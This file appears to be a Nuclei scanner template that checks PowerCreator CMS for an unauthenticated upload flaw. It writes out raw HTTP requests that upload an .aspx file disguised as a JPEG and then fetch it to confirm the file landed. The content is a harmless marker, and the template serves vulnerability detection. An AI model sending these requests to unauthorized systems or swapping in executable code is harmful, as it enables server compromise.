nuclei-templates/vulnerabilities/other/powercreator-cms-rce.yaml

44 lines
1.3 KiB
YAML

id: powercreator-cms-rce
info:
name: PowerCreator CMS RCE
author: pikpikcu
severity: critical
reference: http://www.mstir.cn/index.php/2020/11/18/powercreatorcms-rce/
tags: rce,powercreator
requests:
- raw:
- |
POST /upload/UploadResourcePic.ashx?ResourceID=8382 HTTP/1.1
Host: {{Hostname}}
User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.0
Content-Length: 225
Content-Disposition: form-data;name="file1";filename="poc.aspx";
Content-Type: multipart/form-data; boundary=---------------------------20873900192357278038549710136
-----------------------------20873900192357278038549710136
Content-Disposition: form-data; name="file1"; filename="poc.aspx"
Content-Type: image/jpeg
Poc_Test
-----------------------------20873900192357278038549710136--
- |
GET /ResourcePic/{{endpoint}} HTTP/1.1
Host: {{Hostname}}
User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.0
Accept-Encoding: gzip
extractors:
- type: regex
name: endpoint
internal: true
part: body
regex:
- "(.*?.ASPX)"
matchers:
- type: dsl
dsl:
- "contains(body, 'Poc_Test') && status_code == 200"